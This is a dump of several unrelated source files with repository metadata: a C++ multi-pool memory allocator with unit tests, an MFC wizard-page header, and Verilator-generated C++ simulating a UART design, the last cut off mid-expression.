size_t blockSize = (requested + minBlock - 1) / minBlock;
blockSize = std::bit_ceil(blockSize);
blockSize *= minBlock;
blockSize = std::max(minBlock, blockSize);
return blockSize;
}
size_t ThreadSafeMultiPoolAllocator::CalculateNumberOfBlocks(size_t bankSize, size_t blockSize) const
{
size_t numberOfBlocks = (bankSize + blockSize - 1) / blockSize;
constexpr size_t megaBytes = 1024 * 1024;
if (blockSize < megaBytes)
{
numberOfBlocks = std::max(MinNumberOfBlocks, numberOfBlocks);
}
else
{
numberOfBlocks = std::max((size_t)1, numberOfBlocks);
}
return numberOfBlocks;
}
void ThreadSafeMultiPoolAllocator::GenerateBank(size_t blockSize, size_t numberOfBlocks)
{
AllocatorScope scope(parentID);
Assert(blockSize > 0);
Assert(numberOfBlocks > 0);
InlineStringBuilder<1024> str;
str << name << '_' << blockSize << '_' << numberOfBlocks;
{
AllocatorScope allocScope(parentID);
banks.emplace_back(str.c_str(), blockSize, numberOfBlocks);
std::sort(banks.begin(), banks.end());
}
auto log = Logger::Get(name);
log.Out(ELogLevel::Verbose, [&str](auto& ls)
{
ls << "The bank[" << str.c_str() << "] has been generated. ";
});
const auto incCapacity = blockSize * numberOfBlocks;
auto& mmgr = MemoryManager::GetInstance();
mmgr.Update(GetID(), [incCapacity](auto& allocProxy)
{
allocProxy.stats.capacity += incCapacity;
}, "A new bank is added.");
}
} // HE
#ifdef __UNIT_TEST__
#include "AllocatorScope.h"
#include "MemoryManager.h"
#include "System/ScopedTime.h"
namespace HE
{
void ThreadSafeMultiPoolAllocatorTest::Prepare()
{
AddTest("Basic Construction", [this](auto& ls)
{
ThreadSafeMultiPoolAllocator allocator("TC0 ThreadSafeMultiPoolAlloc"
, {{64, 1024}, {128, 1024}, {256, 1024}, {512, 1024}, {1024, 1024}, {2048, 1024}, {4096, 1024} });
#ifdef PROFILE_ENABLED
auto& mmgr = MemoryManager::GetInstance();
auto stat = mmgr.GetAllocatorStat(allocator.GetID());
ls << "Capacity = " << stat.capacity << lf;
#endif // PROFILE_ENABLED
AllocatorScope scope(allocator);
});
AddTest("Allocation 0", [this](auto& ls)
{
ThreadSafeMultiPoolAllocator allocator("TC1 ThreadSafeMultiPoolAlloc"
, {{64, 1024}, {128, 1024}, {256, 1024}, {512, 1024}, {1024, 1024}, {2048, 1024}, {4096, 1024} });
#ifdef PROFILE_ENABLED
auto& mmgr = MemoryManager::GetInstance();
auto stat = mmgr.GetAllocatorStat(allocator.GetID());
ls << "Capacity = " << stat.capacity << lf;
#endif // PROFILE_ENABLED
AllocatorScope scope(allocator);
mmgr.AllocateBytes(0);
});
AddTest("Multiple Allocations & Fallback", [this](auto& ls)
{
ThreadSafeMultiPoolAllocator allocator("TC2 ThreadSafeMultiPoolAlloc"
, {{64, 1024}, {128, 1024}, {256, 1024}, {512, 1024}, {1024, 1024}, {2048, 1024}, {4096, 1024} });
auto& mmgr = MemoryManager::GetInstance();
#ifdef PROFILE_ENABLED
auto stat = mmgr.GetAllocatorStat(allocator.GetID());
ls << "Capacity = " << stat.capacity << lf;
#endif // PROFILE_ENABLED
AllocatorScope scope(allocator);
void* pointers[] = {
mmgr.AllocateBytes(0),
mmgr.AllocateBytes(8),
mmgr.AllocateBytes(16),
mmgr.AllocateBytes(32),
mmgr.AllocateBytes(97),
mmgr.AllocateBytes(110),
mmgr.AllocateBytes(140),
mmgr.AllocateBytes(270),
mmgr.AllocateBytes(4032),
mmgr.AllocateBytes(5000),
mmgr.AllocateBytes(8000)
};
for (auto ptr : pointers)
{
mmgr.DeallocateBytes(ptr, 0);
}
#ifdef PROFILE_ENABLED
if (stat.fallbackCount != 2)
{
ls << "Fallback count mismatched. FallbackCount = "
<< stat.fallbackCount << ", but 2 expected." << lferr;
}
#endif // PROFILE_ENABLED
});
AddTest("Performance", [this](auto& ls)
{
Time::TDuration heDuration;
Time::TDuration stdDuration;
constexpr size_t repeatCount = 100000;
ThreadSafeMultiPoolAllocator allocator("PerfTestMultiPoolAlloc");
{
AllocatorScope allocScope(allocator);
Time::ScopedTime timer(heDuration);
int strLen = 1;
HSTL::HVector<HSTL::HString> v;
for (size_t i = 0; i < repeatCount; ++i)
{
auto& str = v.emplace_back();
for (int j = 0; j < strLen; ++j)
{
char ch = 'a' + j;
if (ch == '\0')
{
ch = 'a';
strLen = 1;
}
str.push_back(ch);
}
++strLen;
}
}
{
Time::ScopedTime timer(stdDuration);
int strLen = 1;
std::vector<std::string> v;
for (size_t i = 0; i < repeatCount; ++i)
{
auto& str = v.emplace_back();
for (int j = 0; j < strLen; ++j)
{
char ch = 'a' + j;
if (ch == '\0')
{
ch = 'a';
strLen = 1;
}
str.push_back(ch);
}
++strLen;
}
}
float heSec = Time::ToFloat(heDuration);
float stdSec = Time::ToFloat(stdDuration);
ls << "Performance: ThreadSafeMultiPoolAllocator = " << heSec
<< " sec, std malloc = " << stdSec << " sec" << lf;
if (heSec > stdSec)
{
ls << "ThreadSafeMultiPoolAllocator is slower than std malloc."
<< " ThreadSafeMultiPoolAllocator = " << heSec
<< " sec, std malloc = " << stdSec << " sec" << lfwarn;
}
});
}
} // HE
#endif //__UNIT_TEST__
| [
"mooming.go@gmail.com"
] | mooming.go@gmail.com |
280d22c4d4c947250e47a4056b6ea70d53eed3a8 | 6d267c92824119b09674c0c48e784afa3a46aa52 | /source/Final_Maker/FinishPage.h | 3fd4c16b0c2eb6f866d817628fbe447d160172fd | [] | no_license | whyjp/arbitor | f7bdd9324f2ee0de5ba474eeba981fb6817bf2c8 | 70ba0a32e4553b561e3a0b77bc1774bf285e33f9 | refs/heads/master | 2023-02-06T11:02:36.800045 | 2020-12-09T13:18:25 | 2020-12-09T13:18:25 | 319,961,493 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,275 | h | //{{AFX_INCLUDES()
#include "shockwaveflash.h"
//}}AFX_INCLUDES
#if !defined(AFX_FINISHPAGE_H__8CD52CEF_B545_4AA6_8B1F_D768B44476F8__INCLUDED_)
#define AFX_FINISHPAGE_H__8CD52CEF_B545_4AA6_8B1F_D768B44476F8__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// FinishPage.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// FinishPage dialog
class FinishPage : public CPropertyPage
{
DECLARE_DYNCREATE(FinishPage)
// Construction
public:
FinishPage();
~FinishPage();
// Dialog Datas
//{{AFX_DATA(FinishPage)
enum { IDD = IDD_FINISH };
//}}AFX_DATA
// Overrides
// ClassWizard generate virtual function overrides
//{{AFX_VIRTUAL(FinishPage)
public:
virtual BOOL OnWizardFinish();
virtual BOOL OnSetActive();
protected:
virtual void DoDataExchange(CDataExchange* pDX);
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(FinishPage)
// NOTE: the ClassWizard will add member functions here
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_FINISHPAGE_H__8CD52CEF_B545_4AA6_8B1F_D768B44476F8__INCLUDED_)
| [
"whyj.park@gmail.com"
] | whyj.park@gmail.com |
358ec848d9374fa0264f674dcbd15ef129052dc6 | 6bc03ba72aa26b99ce7a8063452a35f4dad8ad3a | /ulx3s_projects/11_uart_kara_reg/spinalHDL/simWorkspace/UartKaraReg/verilator/VUartKaraReg__1.cpp | 9768f178a5b8b7904cbacf2b60de0de388de4bf6 | [] | no_license | dreamflyings/SpinalHDL-Projects | c4e25fb52ea143eac4f225da25056a2f1c6864d4 | 1f3b427c1e8fa2328e1011ed9f2df8dfbe828c82 | refs/heads/master | 2022-07-31T05:26:51.285998 | 2020-05-25T13:31:27 | 2020-05-25T13:31:27 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 34,713 | cpp | // Verilated -*- C++ -*-
// DESCRIPTION: Verilator output: Design implementation internals
// See VUartKaraReg.h for the primary calling header
#include "VUartKaraReg.h" // For This
#include "VUartKaraReg__Syms.h"
//--------------------
// Internal Methods
VL_INLINE_OPT void VUartKaraReg::_sequent__TOP__2(VUartKaraReg__Syms* __restrict vlSymsp) {
VL_DEBUG_IF(VL_DBG_MSGF("+ VUartKaraReg::_sequent__TOP__2\n"); );
VUartKaraReg* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
// Variables
VL_SIG8(__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value,2,0);
VL_SIG8(__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity,0,0);
VL_SIG8(__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter,2,0);
// Body
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity;
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value;
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter;
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1492
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_ready) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_m2sPipe_rData
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_payload;
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1634
vlTOPp->UartKaraReg__DOT__karareg_1___DOT___zz_1_ = 1U;
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:525
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value
= (7U & ((IData)(1U) + (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value)));
}
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity
= ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity)
^ (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_txd));
}
if ((1U & (~ ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state)
>> 2U)))) {
if ((2U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state))) {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value = 0U;
}
} else {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT___zz_1_) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value = 0U;
}
}
}
} else {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__clockDivider_tick) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity = 0U;
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value = 0U;
}
}
}
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:741
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_tick) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter
= (7U & ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter)
- (IData)(1U)));
}
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value
= (7U & ((IData)(1U) + (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value)));
}
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity
= ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity)
^ (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value));
}
if ((1U & (~ ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state)
>> 2U)))) {
if ((2U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value = 0U;
}
} else {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_shifter
= (((~ ((IData)(1U) << (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value)))
& (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_shifter))
| ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value)
<< (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value)));
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_3_) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value = 0U;
}
}
}
} else {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value = 0U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity = 0U;
}
} else {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_2_) {
__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter = 2U;
}
}
}
}
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity
= __Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value
= __Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter
= __Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_counter;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT___zz_1_
= (7U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value));
}
VL_INLINE_OPT void VUartKaraReg::_sequent__TOP__4(VUartKaraReg__Syms* __restrict vlSymsp) {
VL_DEBUG_IF(VL_DBG_MSGF("+ VUartKaraReg::_sequent__TOP__4\n"); );
VUartKaraReg* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
// Body
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1371
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_payload = 0U;
if ((1U != (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateReg))) {
if ((2U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_stateReg))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_payload
= (0xffU & (((0U == (0x1fU & ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outCounter)
<< 3U)))
? 0U : (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outBuffer[
((IData)(1U)
+ (7U & ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outCounter)
>> 2U)))]
<< ((IData)(0x20U)
- (0x1fU
& ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outCounter)
<< 3U)))))
| (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outBuffer[
(7U & ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outCounter)
>> 2U))] >> (0x1fU
& ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__fsmOut_outCounter)
<< 3U)))));
}
}
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state
= vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state;
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:1573
vlTOPp->UartKaraReg__DOT__karareg_1___05Fio_toUart_valid = 0U;
if ((1U != (IData)(vlTOPp->UartKaraReg__DOT__karareg_1___DOT__fsm_stateReg))) {
if ((2U != (IData)(vlTOPp->UartKaraReg__DOT__karareg_1___DOT__fsm_stateReg))) {
if ((3U == (IData)(vlTOPp->UartKaraReg__DOT__karareg_1___DOT__fsm_stateReg))) {
vlTOPp->UartKaraReg__DOT__karareg_1___05Fio_toUart_valid
= vlTOPp->UartKaraReg__DOT__karareg_1___DOT___zz_1_;
}
}
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:438
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_txd = 1U;
if ((1U & (~ ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state)
>> 2U)))) {
if ((2U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_txd
= (1U & ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state))
? (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_parity)
: ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__write_m2sPipe_rData)
>> (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__tickCounter_value))));
} else {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state))) {
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_txd = 0U;
}
}
}
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:409
vlTOPp->__Vtableidx5 = vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state_string
= vlTOPp->__Vtable5_UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__tx__DOT__stateMachine_state_string
[vlTOPp->__Vtableidx5];
// ALWAYS at /home/moss/Documents/vdfs-in-hardware/implementations/ulx3s_projects/11_uart_kara_reg/spinalHDL/tmp/job_1/UartKaraReg.v:664
if (vlTOPp->reset) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1 = 1U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2 = 1U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3 = 1U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4 = 1U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value = 1U;
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_tick = 0U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 0U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg = 0U;
} else {
if ((0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter)) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_1;
}
vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_tick
= (0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter);
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg = 0U;
if ((0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter)) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_2;
}
if ((4U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value) {
if ((0U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value))) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 0U;
}
} else {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 0U;
}
}
} else {
if ((2U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
if (((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_parity)
== (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value))) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 4U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg = 1U;
} else {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 0U;
}
}
} else {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
if ((7U == (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitCounter_value))) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 4U;
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_validReg = 1U;
}
}
}
} else {
if ((1U & (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state))) {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__bitTimer_tick) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 2U;
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 0U;
}
}
} else {
if (vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_2_) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__stateMachine_state = 1U;
}
}
}
}
if ((0U == vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__clockDivider_counter)) {
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_4
= vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_samples_3;
}
vlTOPp->__Vdly__UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT__sampler_value
= (((((((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_6_)
| (IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_7_))
| ((IData)(vlTOPp->UartKaraReg__DOT__uartfsm__DOT__uartCtrl_1___DOT__rx__DOT___zz_8_)
